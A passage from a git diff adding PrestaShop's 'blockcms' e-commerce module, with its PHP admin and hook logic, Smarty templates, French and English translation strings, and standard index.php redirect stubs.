$this->fields_value : array(); + $this->_html .= $helper->generateForm($this->fields_form); + + return; + } + + private function initForm() + { + $helper = new HelperForm(); + + $helper->module = $this; + $helper->name_controller = 'blockcms'; + $helper->identifier = $this->identifier; + $helper->token = Tools::getAdminTokenLite('AdminModules'); + $helper->languages = $this->context->controller->_languages; + $helper->currentIndex = AdminController::$currentIndex.'&configure='.$this->name; + $helper->default_form_language = $this->context->controller->default_form_language; + $helper->allow_employee_form_lang = $this->context->controller->allow_employee_form_lang; + $helper->toolbar_scroll = true; + $helper->toolbar_btn = $this->initToolbar(); + + return $helper; + } + + protected function changePosition() + { + if (!Validate::isInt(Tools::getValue('position')) || + (Tools::getValue('location') != BlockCMSModel::LEFT_COLUMN && + Tools::getValue('location') != BlockCMSModel::RIGHT_COLUMN) || + (Tools::getValue('way') != 0 && Tools::getValue('way') != 1)) + Tools::displayError(); + + $this->_html .= 'pos change!'; + $position = (int)Tools::getValue('position'); + $location = (int)Tools::getValue('location'); + $id_cms_block = (int)Tools::getValue('id_cms_block'); + + if (Tools::getValue('way') == 0) + $new_position = $position + 1; + else if (Tools::getValue('way') == 1) + $new_position = $position - 1; + + BlockCMSModel::updateCMSBlockPositions($id_cms_block, $position, $new_position, $location); + Tools::redirectAdmin('index.php?tab=AdminModules&configure='.$this->name.'&token='.Tools::getAdminTokenLite('AdminModules')); + } + + protected function _postValidation() + { + $this->_errors = array(); + + if (Tools::isSubmit('submitBlockCMS')) + { + $this->context->controller->getLanguages(); + $cmsBoxes = Tools::getValue('cmsBox'); + + if (!Validate::isInt(Tools::getValue('display_stores')) || (Tools::getValue('display_stores') != 0 && Tools::getValue('display_stores') != 1)) + $this->_errors[] = $this->l('Invalid store display value.'); + if (!Validate::isInt(Tools::getValue('block_location')) || (Tools::getValue('block_location') != BlockCMSModel::LEFT_COLUMN && Tools::getValue('block_location') != BlockCMSModel::RIGHT_COLUMN)) + $this->_errors[] = $this->l('Invalid block location.'); + if (!is_array($cmsBoxes)) + $this->_errors[] = $this->l('You must choose at least one page -- or subcategory -- in order to create a CMS block.'); + else + { + foreach ($cmsBoxes as $cmsBox) + if (!preg_match('#^[01]_[0-9]+$#', $cmsBox)) + $this->_errors[] = $this->l('Invalid CMS page and/or category.'); + foreach ($this->context->controller->_languages as $language) + if (strlen(Tools::getValue('block_name_'.$language['id_lang'])) > 40) + $this->_errors[] = $this->l('The block name is too long.'); + } + } + else if (Tools::isSubmit('deleteBlockCMS') && !Validate::isInt(Tools::getValue('id_cms_block'))) + { + $this->_errors[] = $this->l('Invalid id_cms_block'); + } + else if (Tools::isSubmit('submitFooterCMS')) + { + if (Tools::getValue('footerBox') && is_array(Tools::getValue('footerBox'))) + { + foreach (Tools::getValue('footerBox') as $cmsBox) + if (!preg_match('#^[01]_[0-9]+$#', $cmsBox)) + $this->_errors[] = $this->l('Invalid CMS page and/or category.'); + } + + $empty_footer_text = true; + $footer_text = array((int)Configuration::get('PS_LANG_DEFAULT') => Tools::getValue('footer_text_'.(int)Configuration::get('PS_LANG_DEFAULT'))); + + $this->context->controller->getLanguages(); + foreach ($this->context->controller->_languages as $language) + { + if ($language['id_lang'] == (int)Configuration::get('PS_LANG_DEFAULT')) + continue; + + $footer_text_value = Tools::getValue('footer_text_'.(int)$language['id_lang']); + if (!empty($footer_text_value)) + { + $empty_footer_text = false; + $footer_text[(int)$language['id_lang']] = $footer_text_value; + } + else + $footer_text[(int)$language['id_lang']] = $footer_text[(int)Configuration::get('PS_LANG_DEFAULT')]; + } + + if (!$empty_footer_text && empty($footer_text[(int)Configuration::get('PS_LANG_DEFAULT')])) + $this->_errors[] = $this->l('Please provide footer text for the default language.'); + else + { + foreach ($this->context->controller->_languages as $language) + Configuration::updateValue('FOOTER_CMS_TEXT_'.(int)$language['id_lang'], $footer_text[(int)$language['id_lang']], true); + } + + if ((Tools::getValue('cms_footer_on') != 0) && (Tools::getValue('cms_footer_on') != 1)) + $this->_errors[] = $this->l('Invalid activation footer.'); + } + if (count($this->_errors)) + { + foreach ($this->_errors as $err) + $this->_html .= '
    '.$err.'
    '; + + return false; + } + return true; + } + + private function _postProcess() + { + if ($this->_postValidation() == false) + return false; + + $this->_errors = array(); + if (Tools::isSubmit('submitBlockCMS')) + { + $this->context->controller->getLanguages(); + $id_cms_category = (int)Tools::getvalue('id_category'); + $display_store = (int)Tools::getValue('display_stores'); + $location = (int)Tools::getvalue('block_location'); + $position = BlockCMSModel::getMaxPosition($location); + + if (Tools::isSubmit('addBlockCMS')) + { + $id_cms_block = BlockCMSModel::insertCMSBlock($id_cms_category, $location, $position, $display_store); + + if ($id_cms_block !== false) + { + foreach ($this->context->controller->_languages as $language) + BlockCMSModel::insertCMSBlockLang($id_cms_block, $language['id_lang']); + + $shops = Shop::getContextListShopID(); + + foreach ($shops as $shop) + BlockCMSModel::insertCMSBlockShop($id_cms_block, $shop); + } + + $this->_errors[] = $this->l('A new block cannot be created!'); + } + elseif (Tools::isSubmit('editBlockCMS')) + { + $id_cms_block = Tools::getvalue('id_cms_block'); + $old_block = BlockCMSModel::getBlockCMS($id_cms_block); + + BlockCMSModel::deleteCMSBlockPage($id_cms_block); + + if ($old_block[1]['location'] != (int)Tools::getvalue('block_location')) + BlockCMSModel::updatePositions($old_block[1]['position'], $old_block[1]['position'] + 1, $old_block[1]['location']); + + BlockCMSModel::updateCMSBlock($id_cms_block, $id_cms_category, $position, $location, $display_store); + + foreach ($this->context->controller->_languages as $language) + { + $block_name = Tools::getValue('block_name_'.$language['id_lang']); + BlockCMSModel::updateCMSBlockLang($id_cms_block, $block_name, $language['id_lang']); + } + } + + $cmsBoxes = Tools::getValue('cmsBox'); + if ($cmsBoxes) + { + foreach ($cmsBoxes as $cmsBox) + { + $cms_properties = explode('_', $cmsBox); + BlockCMSModel::insertCMSBlockPage($id_cms_block, $cms_properties[1], $cms_properties[0]); + } + } + + if (Tools::isSubmit('addBlockCMS')) + $redirect = 'addBlockCMSConfirmation'; + elseif (Tools::isSubmit('editBlockCMS')) + $redirect = 'editBlockCMSConfirmation'; + + Tools::redirectAdmin(AdminController::$currentIndex.'&configure='.$this->name.'&token='.Tools::getAdminTokenLite('AdminModules').'&'.$redirect); + } + elseif (Tools::isSubmit('deleteBlockCMS') && Tools::getValue('id_cms_block')) + { + $id_cms_block = Tools::getvalue('id_cms_block'); + + if ($id_cms_block) + { + BlockCMSModel::deleteCMSBlock((int)$id_cms_block); + BlockCMSModel::deleteCMSBlockPage((int)$id_cms_block); + + Tools::redirectAdmin(AdminController::$currentIndex.'&configure='.$this->name.'&token='.Tools::getAdminTokenLite('AdminModules').'&deleteBlockCMSConfirmation'); + } + else + $this->_html .= $this->displayError($this->l('Error: You are trying to delete a non-existing CMS blocks. ')); + } + elseif (Tools::isSubmit('submitFooterCMS')) + { + $powered_by = Tools::getValue('cms_footer_powered_by_on') ? 1 : 0; + $footer_boxes = Tools::getValue('footerBox') ? implode('|', Tools::getValue('footerBox')) : ''; + $block_activation = (Tools::getValue('cms_footer_on') == 1) ? 1 : 0; + + Configuration::updateValue('FOOTER_CMS', rtrim($footer_boxes, '|')); + Configuration::updateValue('FOOTER_POWEREDBY', $powered_by); + Configuration::updateValue('FOOTER_BLOCK_ACTIVATION', $block_activation); + + $this->_html .= $this->displayConfirmation($this->l('Update your footer\'s information.')); + } + elseif (Tools::isSubmit('addBlockCMSConfirmation')) + $this->_html .= $this->displayConfirmation($this->l('CMS block added.')); + elseif (Tools::isSubmit('editBlockCMSConfirmation')) + $this->_html .= $this->displayConfirmation($this->l('CMS block edited.')); + elseif (Tools::isSubmit('deleteBlockCMSConfirmation')) + $this->_html .= $this->displayConfirmation($this->l('Deletion successful')); + elseif (Tools::isSubmit('id_cms_block') && Tools::isSubmit('way') && Tools::isSubmit('position') && Tools::isSubmit('location')) + $this->changePosition(); + elseif (Tools::isSubmit('updatePositions')) + $this->updatePositionsDnd(); + if (count($this->_errors)) + { + foreach ($this->_errors as $err) + $this->_html .= '
    '.$err.'
    '; + } + } + + public function getContent() + { + $this->_html = ''; + $this->_postProcess(); + + if (Tools::isSubmit('addBlockCMS') || Tools::isSubmit('editBlockCMS')) + $this->displayAddForm(); + else + $this->displayForm(); + + return $this->_html; + } + + public function displayBlockCMS($column) + { + $cms_titles = BlockCMSModel::getCMSTitles($column); + + $this->smarty->assign(array( + 'block' => 1, + 'cms_titles' => $cms_titles, + 'contact_url' => (_PS_VERSION_ >= 1.5) ? 'contact' : 'contact-form' + )); + + return $this->display(__FILE__, 'blockcms.tpl'); + } + + private function _prepareHook() + { + $block_activation = Configuration::get('FOOTER_BLOCK_ACTIVATION'); + + if (!$block_activation) + return false; + + $cms_titles = BlockCMSModel::getCMSTitlesFooter(); + $display_footer = Configuration::get('PS_STORES_DISPLAY_FOOTER'); + $display_poweredby = Configuration::get('FOOTER_POWEREDBY'); + $footer_text = Configuration::get('FOOTER_CMS_TEXT_'.(int)$this->context->language->id); + + $this->smarty->assign( + array( + 'block' => 0, + 'contact_url' => 'contact', + 'cmslinks' => $cms_titles, + 'display_stores_footer' => $display_footer, + 'display_poweredby' => ((int)$display_poweredby === 1 || $display_poweredby === false), + 'footer_text' => $footer_text + ) + ); + return true; + } + + + public function hookHeader($params) + { + $this->context->controller->addCSS(($this->_path).'blockcms.css', 'all'); + } + + public function hookLeftColumn() + { + return $this->displayBlockCMS(BlockCMSModel::LEFT_COLUMN); + } + + public function hookRightColumn() + { + return $this->displayBlockCMS(BlockCMSModel::RIGHT_COLUMN); + } + + public function hookFooter() + { + if (!$this->_prepareHook()) + return ; + return $this->display(__FILE__, 'blockcms.tpl'); + } + + protected function updatePositionsDnd() + { + if (Tools::getValue('cms_block_0')) + $positions = Tools::getValue('cms_block_0'); + elseif (Tools::getValue('cms_block_1')) + $positions = Tools::getValue('cms_block_1'); + else + $positions = array(); + + foreach ($positions as $position => $value) + { + $pos = explode('_', $value); + + if (isset($pos[2])) + BlockCMSModel::updateCMSBlockPosition($pos[2], $position); + } + } + + public function hookActionShopDataDuplication($params) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'cms_block_shop (id_cms_block, id_shop) + SELECT id_cms_block, '.(int)$params['new_id_shop'].' + FROM '._DB_PREFIX_.'cms_block_shop + WHERE id_shop = '.(int)$params['old_id_shop']); + } +} diff --git a/modules/blockcms/blockcms.tpl b/modules/blockcms/blockcms.tpl new file mode 100755 index 0000000..0a7da77 --- /dev/null +++ b/modules/blockcms/blockcms.tpl @@ -0,0 +1,66 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $block == 1} + + {foreach from=$cms_titles key=cms_key item=cms_title} +
    +

    {if !empty($cms_title.name)}{$cms_title.name}{else}{$cms_title.category_name}{/if}

    + +
    + {/foreach} + +{else} + + + +{/if} diff --git a/modules/blockcms/img/arrow_right_2.png b/modules/blockcms/img/arrow_right_2.png new file mode 100755 index 0000000..c970f18 Binary files /dev/null and b/modules/blockcms/img/arrow_right_2.png differ diff --git a/modules/blockcms/img/index.php b/modules/blockcms/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcms/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcms/index.php b/modules/blockcms/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcms/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcms/logo.gif b/modules/blockcms/logo.gif new file mode 100755 index 0000000..12cd1ae Binary files /dev/null and b/modules/blockcms/logo.gif differ diff --git a/modules/blockcms/logo.png b/modules/blockcms/logo.png new file mode 100755 index 0000000..c6b7e8c Binary files /dev/null and b/modules/blockcms/logo.png differ diff --git a/modules/blockcms/translations/en.php b/modules/blockcms/translations/en.php new file mode 100755 index 0000000..8fc1b76 --- /dev/null +++ b/modules/blockcms/translations/en.php @@ -0,0 +1,5 @@ +blockcms_965be994da393e5aa15bd3a2444c6ccf'] = 'Footer\'s various links Configuration'; diff --git a/modules/blockcms/translations/fr.php b/modules/blockcms/translations/fr.php new file mode 100755 index 0000000..5c1b685 --- /dev/null +++ b/modules/blockcms/translations/fr.php @@ -0,0 +1,71 @@ +blockcms_cd275312651aebf8cbbb8d3bb1c086ae'] = 'Bloc CMS'; +$_MODULE['<{blockcms}prestashop>blockcms_cdca12007979fc49008fd125cdb775fc'] = 'Ajoute un bloc contenant plusieurs lien vers vos pages CMS'; +$_MODULE['<{blockcms}prestashop>blockcms_a82be0f551b8708bc08eb33cd9ded0cf'] = 'Information'; +$_MODULE['<{blockcms}prestashop>blockcms_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{blockcms}prestashop>blockcms_ef61fb324d729c341ea8ab9901e23566'] = 'Ajouter un bloc'; +$_MODULE['<{blockcms}prestashop>blockcms_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockcms}prestashop>blockcms_97390dd0b5ba7867120aee2ff22bfa38'] = 'Configuration du bloc CMS'; +$_MODULE['<{blockcms}prestashop>blockcms_94ff014237f6f5cbf5c3655f5ef513c9'] = 'Blocs CMS'; +$_MODULE['<{blockcms}prestashop>blockcms_965be994da393e5aa15bd3a2444c6ccf'] = 'Configuration des liens CMS en pied de page'; +$_MODULE['<{blockcms}prestashop>blockcms_89887a6d62110cbd72c15218a2d0fda9'] = 'Afficher les liens d\'informations dans le pied de page.'; +$_MODULE['<{blockcms}prestashop>blockcms_48566f492af8fd2346b20dbd32168476'] = 'Lien de pied de page'; +$_MODULE['<{blockcms}prestashop>blockcms_e363df19c685465bca24d0c06d9394c7'] = 'Sélectionnez les pages que vous souhaitez afficher dans le bloc CMS de pied de page'; +$_MODULE['<{blockcms}prestashop>blockcms_6c5f7d2f911e91ebd0c077fe770e739e'] = 'Informations de pied de page'; +$_MODULE['<{blockcms}prestashop>blockcms_fc3faf66c0ea5f710cc58d24fbe4a5b6'] = 'Afficher \"Propulsé par PrestaShop\"'; +$_MODULE['<{blockcms}prestashop>blockcms_9aa03a5dca2e060a4ecbff0dd8616692'] = 'Enregistrer'; +$_MODULE['<{blockcms}prestashop>blockcms_be58fccb15fb119b8c3d485e3a8561c4'] = 'Configuration du bloc CMS'; +$_MODULE['<{blockcms}prestashop>blockcms_0eb46571f3ff926d8b2408cafcfc17e3'] = 'Modification du bloc CMS'; +$_MODULE['<{blockcms}prestashop>blockcms_ac59142b8d4c64f836acbc239e1cebf0'] = 'Nouveau bloc CMS'; +$_MODULE['<{blockcms}prestashop>blockcms_f6d0c20ad12958928f865e5d49fc10f0'] = 'Nom du bloc'; +$_MODULE['<{blockcms}prestashop>blockcms_51b274d417210e74d2cfe9e0713602f2'] = 'Si vous laissez ce champ vide, le nom du bloc sera le nom de la catégorie'; +$_MODULE['<{blockcms}prestashop>blockcms_fca0206c8afc8d67969f9aec20e3287e'] = 'Catégorie du CMS :'; +$_MODULE['<{blockcms}prestashop>blockcms_abf9012e9560b3c44a536f5c4a2a0b62'] = 'Emplacement :'; +$_MODULE['<{blockcms}prestashop>blockcms_945d5e233cf7d6240f6b783b36a374ff'] = 'Gauche'; +$_MODULE['<{blockcms}prestashop>blockcms_92b09c7c48c520c3c55e497875da437c'] = 'Droite'; +$_MODULE['<{blockcms}prestashop>blockcms_5e2b11203c9a4ac0ec01e7bb31e256f6'] = 'Afficher les magasins'; +$_MODULE['<{blockcms}prestashop>blockcms_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{blockcms}prestashop>blockcms_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{blockcms}prestashop>blockcms_8537cb2cf041c2243fef92931ed93b90'] = 'Afficher \"nos magasins\" à la fin du bloc.'; +$_MODULE['<{blockcms}prestashop>blockcms_55737e084beaa370a127f3f031f1932e'] = 'Contenu du CMS :'; +$_MODULE['<{blockcms}prestashop>blockcms_04313a11bf4a501b7cf2273ea7b32862'] = 'Sélectionnez les pages que vous souhaitez afficher dans ce bloc'; +$_MODULE['<{blockcms}prestashop>blockcms_0d6d7a7c758cd16507d4aebf18305691'] = 'Valeur d\'affichage non valable pour le magasin'; +$_MODULE['<{blockcms}prestashop>blockcms_4eb9b68883615faa427da721fad14422'] = 'Emplacement non valable pour le bloc'; +$_MODULE['<{blockcms}prestashop>blockcms_795c54de995b69fe05142dad6f99ef92'] = 'Vous devez choisir au moins une page ou sous-catégorie pour créer un bloc CMS.'; +$_MODULE['<{blockcms}prestashop>blockcms_0788bfffae213b06afb540bf06926652'] = 'Page ou catégorie CMS non valable'; +$_MODULE['<{blockcms}prestashop>blockcms_7125483712689cd7a6f85b466a8a7632'] = 'Le nom du bloc est trop long'; +$_MODULE['<{blockcms}prestashop>blockcms_ede67d50014846cb8bb1b00d5fde77be'] = 'id_cms_block invalide'; +$_MODULE['<{blockcms}prestashop>blockcms_2d81a9da91ff3f073e6aecbe42c33e69'] = 'Veuillez fournir un text de pied de page pour la langue par défaut'; +$_MODULE['<{blockcms}prestashop>blockcms_a419b919d146d5db83f22d375d329a59'] = 'Activation non valable pour le pied de page'; +$_MODULE['<{blockcms}prestashop>blockcms_20d52180b34f849cb2c885a8451dd328'] = 'Vous ne pouvez pas créer un nouveau bloc !'; +$_MODULE['<{blockcms}prestashop>blockcms_238cadc4d64e9b144c10ee409835ee34'] = 'Erreur : vous essayez de supprimer un bloc CMS inexistant'; +$_MODULE['<{blockcms}prestashop>blockcms_0c579767f53365887ac199a96e26c591'] = 'Informations du pied de page mises à jour'; +$_MODULE['<{blockcms}prestashop>blockcms_c28716416d2fd75a37b4496586755853'] = 'Le bloc CMS a bien été ajouté'; +$_MODULE['<{blockcms}prestashop>blockcms_a94db349ae0c662fd55c9d402481165b'] = 'Le bloc CMS a bien été modifié'; +$_MODULE['<{blockcms}prestashop>blockcms_87a2663d841b78f01c27c0edb4f50b76'] = 'Suppression réussie'; +$_MODULE['<{blockcms}prestashop>blockcms_34c869c542dee932ef8cd96d2f91cae6'] = 'Nos magasins'; +$_MODULE['<{blockcms}prestashop>blockcms_d1aa22a3126f04664e0fe3f598994014'] = 'Promotions'; +$_MODULE['<{blockcms}prestashop>blockcms_9ff0635f5737513b1a6f559ac2bff745'] = 'Nouveaux produits'; +$_MODULE['<{blockcms}prestashop>blockcms_01f7ac959c1e6ebbb2e0ee706a7a5255'] = 'Meilleures ventes'; +$_MODULE['<{blockcms}prestashop>blockcms_02d4482d332e1aef3437cd61c9bcc624'] = 'Contactez-nous'; +$_MODULE['<{blockcms}prestashop>blockcms_5813ce0ec7196c492c97596718f71969'] = 'Plan du site'; +$_MODULE['<{blockcms}prestashop>blockcms_7a52e36bf4a1caa031c75a742fb9927a'] = 'Propulsé par'; +$_MODULE['<{blockcms}prestashop>blockcms_3cb29f0ccc5fd220a97df89dafe46290'] = 'Meilleures ventes'; +$_MODULE['<{blockcms}prestashop>blockcms_e1da49db34b0bdfdddaba2ad6552f848'] = 'Plan du site'; +$_MODULE['<{blockcms}prestashop>form_4dabfa54822012dfc78d6ef40f224173'] = 'Blocs à gauche'; +$_MODULE['<{blockcms}prestashop>form_d9ca3009e18447d91cd2e324e8e680ce'] = 'Blocs à droite'; +$_MODULE['<{blockcms}prestashop>form_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{blockcms}prestashop>form_83ef1503b3bd9858cc923a74e5f9e917'] = 'Nom du bloc'; +$_MODULE['<{blockcms}prestashop>form_bb34a159a88035cce7ef1607e7907f8f'] = 'Nom de la catégorie'; +$_MODULE['<{blockcms}prestashop>form_52f5e0bc3859bc5f5e25130b6c7e8881'] = 'Position'; +$_MODULE['<{blockcms}prestashop>form_06df33001c1d7187fdd81ea1f5b277aa'] = 'Actions'; +$_MODULE['<{blockcms}prestashop>form_08a38277b0309070706f6652eeae9a53'] = 'Descendre'; +$_MODULE['<{blockcms}prestashop>form_258f49887ef8d14ac268c92b02503aaa'] = 'Monter'; +$_MODULE['<{blockcms}prestashop>form_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{blockcms}prestashop>form_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{blockcms}prestashop>form_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{blockcms}prestashop>form_f7c68d40f8727c658e821c6e6d56af07'] = 'Aucune page créée'; diff --git a/modules/blockcms/translations/index.php b/modules/blockcms/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcms/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcms/views/index.php b/modules/blockcms/views/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcms/views/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcms/views/templates/admin/_configure/helpers/form/form.tpl b/modules/blockcms/views/templates/admin/_configure/helpers/form/form.tpl new file mode 100755 index 0000000..77f1e46 --- /dev/null +++ b/modules/blockcms/views/templates/admin/_configure/helpers/form/form.tpl @@ -0,0 +1,173 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/form/form.tpl"} + +{block name="input"} + + {if $input.type == 'cms_blocks'} + + + + {assign var=cms_blocks_positions value=$input.values} + {if isset($cms_blocks_positions) && count($cms_blocks_positions) > 0} + + {foreach $cms_blocks_positions as $key => $cms_blocks_position} +
    + +

    + {if $key == 0} + {l s='Left blocks' mod='blockcms'} + {else} + {l s='Right blocks' mod='blockcms'} + {/if} +

    + + + + + + + + + + + + + {foreach $cms_blocks_position as $key => $cms_block} + + + + + + + + {/foreach} + + +
    {l s='ID' mod='blockcms'}{l s='Name of the block' mod='blockcms'}{l s='Category name' mod='blockcms'}{l s='Position' mod='blockcms'}{l s='Actions' mod='blockcms'}
    {$cms_block['id_cms_block']}{$cms_block['block_name']}{$cms_block['category_name']} + + {l s='Down' mod='blockcms'} + + + {l s='Up' mod='blockcms'} + + + + +
    + +
    + {/foreach} + {/if} + {elseif $input.type == 'select_category'} + + {function name=render_select level=0} + {foreach $items as $item} + {if (isset($item['id_cms_category']))} + + + {if isset($item['sub_categories']) && count($item['sub_categories']) > 0} + {call name=render_select items=$item['sub_categories'] level=$level+1} + {/if} + {/if} + {/foreach} + {/function} + + {if isset($input.options.query) && count($input.options.query) > 0} + {assign var=categories value=$input.options.query} + + + {/if} + {elseif $input.type == 'cms_pages'} + + {assign var=cms value=$input.values} + {if isset($cms) && count($cms) > 0} + + + + + + + + + {foreach $cms as $key => $cms_category} + + + + + + + {foreach $cms_category['cms_pages'] as $subkey => $cms_page} + + + + + + {/foreach} + + {/foreach} + +
    + + {l s='ID' mod='blockcms'}{l s='Name' mod='blockcms'}
    + {assign var=id_checkbox value=1|cat:'_'|cat:$cms_category['id_cms_category']} + + + {$cms_category['id_cms_category']} +
    + {assign var=id_checkbox value=0|cat:'_'|cat:$cms_page['id_cms']} + + + {$cms_page['id_cms']} +
    + {else} +

    {l s='No pages have been created.' mod='blockcms'}

    + {/if} + {else} + {$smarty.block.parent} + {/if} + +{/block} diff --git a/modules/blockcms/views/templates/admin/_configure/helpers/form/index.php b/modules/blockcms/views/templates/admin/_configure/helpers/form/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcms/views/templates/admin/_configure/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcms/views/templates/admin/_configure/helpers/index.php b/modules/blockcms/views/templates/admin/_configure/helpers/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcms/views/templates/admin/_configure/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcms/views/templates/admin/_configure/index.php b/modules/blockcms/views/templates/admin/_configure/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcms/views/templates/admin/_configure/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcms/views/templates/admin/index.php b/modules/blockcms/views/templates/admin/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcms/views/templates/admin/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcms/views/templates/index.php b/modules/blockcms/views/templates/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcms/views/templates/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + 